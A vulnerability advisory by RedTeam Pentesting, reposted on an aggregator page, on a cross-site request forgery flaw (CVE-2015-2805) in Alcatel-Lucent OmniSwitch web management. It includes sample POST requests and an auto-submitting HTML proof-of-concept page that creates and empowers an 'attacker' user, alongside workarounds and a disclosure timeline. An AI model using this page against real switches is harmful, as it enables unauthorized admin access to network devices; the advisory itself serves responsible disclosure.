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Alcatel-Lucent OmniSwitch Web Interface Cross Site Request Forgery

🗓️ 10 Jun 2015 00:00:00Reported by redteam-pentesting.deType 
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 packetstorm
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Alcatel-Lucent OmniSwitch 6450 Web Interface CSRF Vulnerability allows unauthorized user creation and configuration change

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`Advisory: Alcatel-Lucent OmniSwitch Web Interface Cross-Site Request Forgery  
  
During a penetration test, RedTeam Pentesting discovered a vulnerability  
in the management web interface of an Alcatel-Lucent OmniSwitch 6450.  
The management web interface has no protection against cross-site  
request forgery attacks. This allows specially crafted web pages to  
change the switch configuration and create users, if an administrator  
accesses the website while being authenticated in the management web  
interface.  
  
Details  
=======  
  
Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400,  
6855, 6900, 10K, 6860  
Affected Versions: All Releases:  
AOS 6.4.5.R02  
AOS 6.4.6.R01  
AOS 6.6.4.R01  
AOS 6.6.5.R02  
AOS 7.3.2.R01  
AOS 7.3.3.R01  
AOS 7.3.4.R01  
AOS 8.1.1.R01  
Fixed Versions: -  
Vulnerability Type: Cross-site request forgery  
Security Risk: medium  
Vendor URL: http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview  
Vendor Status: notified  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-004  
Advisory Status: published  
CVE: CVE-2015-2805  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2805  
  
  
Introduction  
============  
  
"The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable  
LAN Switches are the latest value stackable switches in the OmniSwitch  
family of products. The OmniSwitch 6450 was specifically built for  
versatility offering optional upgrade paths for 10 Gigabit stacking, 10  
Gigabit Ethernet uplinks, from Fast to Gigabit user ports (L models) and  
Metro Ethernet services."  
  
(from the vendor's homepage)  
  
More Details  
============  
  
The management web interface of the OmniSwitch 6450 can be accessed  
using a web browser via HTTP. The web interface allows creating new user  
accounts, in this case an HTTP request like the following is sent to the  
switch:  
  
POST /sec/content/sec_asa_users_local_db_add.html HTTP/1.1  
Host: 192.0.2.1  
[...]  
Cookie: session=sess_15739  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 214  
  
EmWeb_ns:mip:2.T1:I1=attacker  
&EmWeb_ns:mip:244.T1:O1=secret  
&EmWeb_ns:mip:246.T1:O2=-1  
&EmWeb_ns:mip:248.T1:O3=  
&EmWeb_ns:mip:249.T1:O4=1  
&EmWeb_ns:mip:250.T1:O5=4  
  
This request creates a user "attacker" with the password "secret". All  
other parameters are static. All POST parameters can be predicted by  
attackers  
  
This means that requests of this form can be prepared by attackers and sent  
from any web page the user visits in the same browser. If the user is  
authenticated to the switch, a valid session cookie is included in the request  
automatically, and the action is performed.  
  
In order to activate the new user for the web interface it is necessary  
to enable the respective access privileges in the user's profile. This can also  
be done via the web interface. Then the HTTP POST request looks like the  
following:  
  
POST /sec/content/os6250_sec_asa_users_local_db_family_mod.html HTTP/1.1  
Host: 192.0.2.1  
[...]  
Cookie: session=sess_15739  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 167  
  
EmWeb_ns:mip:2.T1:I1=attacker  
&EmWeb_ns:mip:4.T1:O1=  
&EmWeb_ns:mip:5.T1:O2=  
&EmWeb_ns:mip:6.T1:O3=4294967295  
&EmWeb_ns:mip:7.T1:O4=4294967295  
  
This request sets all access privileges for the user "attacker" and  
is again completely predictable.  
  
  
Proof of Concept  
================  
  
Visiting the following HTML page will create a new user via the switch's  
management web interface, if the user is authenticated at the switch:  
  
------------------------------------------------------------------------  
<html>  
<head>  
<title>Alcatel-Lucent OmniSwitch 6450 create user via CSRF</title>  
</head>  
<body>  
<form action="http://192.0.2.1/sec/content/sec_asa_users_local_db_add.html"  
method="POST" id="CSRF" style="visibility:hidden">  
<input type="hidden" name="EmWeb_ns:mip:2.T1:I1" value="attacker" />  
<input type="hidden" name="EmWeb_ns:mip:244.T1:O1" value="secret" />  
<input type="hidden" name="EmWeb_ns:mip:244.T1:O2" value="-1" />  
<input type="hidden" name="EmWeb_ns:mip:244.T1:O3" value="" />  
<input type="hidden" name="EmWeb_ns:mip:244.T1:O4" value="1" />  
<input type="hidden" name="EmWeb_ns:mip:244.T1:O5" value="4" />  
</form>  
<script>  
document.getElementById("CSRF").submit();  
</script>  
</body>  
</html>  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
Disable the web interface by executing the following commands:  
  
AOS6:  
  
no ip service http  
no ip service secure-http  
  
AOS 7/8:  
  
ip service http admin-state disable  
  
If this is not possible, use a dedicated browser or browser profile for  
managing the switch via the web interface.  
  
  
Fix  
===  
  
Upgrade the firmware to a fixed version, according to the vendor the  
fixed versions will be available at the end of July 2015.  
  
  
Security Risk  
=============  
  
If attackers trick a logged-in administrator to visit an attacker-controlled   
web page, the attacker can perform actions and reconfigure the switch. In this  
situation an attacker can create an additional user account on the switch for  
future access. While a successful attack results in full access to the switch,  
the attack is hard to exploit because attackers need to know the IP address of  
the switch and get an administrative user to access an attacker-controlled web  
page. The vulnerability is therefore rated as a medium risk.  
  
  
Timeline  
========  
  
2015-03-16 Vulnerability identified  
2015-03-25 Customer approves disclosure to vendor  
2015-03-26 CVE number requested  
2015-03-31 CVE number assigned  
2015-04-01 Vendor notified  
2015-04-02 Vendor acknowledged receipt of advisories  
2015-04-08 Requested status update from vendor, vendor is investigating  
2015-04-29 Requested status update from vendor, vendor is still investigating  
2015-05-22 Requested status update from vendor  
2015-05-27 Vendor is working on the issue  
2015-06-05 Vendor notified customers  
2015-06-08 Vendor provided details about affected versions  
2015-06-10 Advisory released  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at  
https://www.redteam-pentesting.de.  
  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschäftsführer: Patrick Hof, Jens Liebchen  
`

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10 Jun 2015 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.01115
47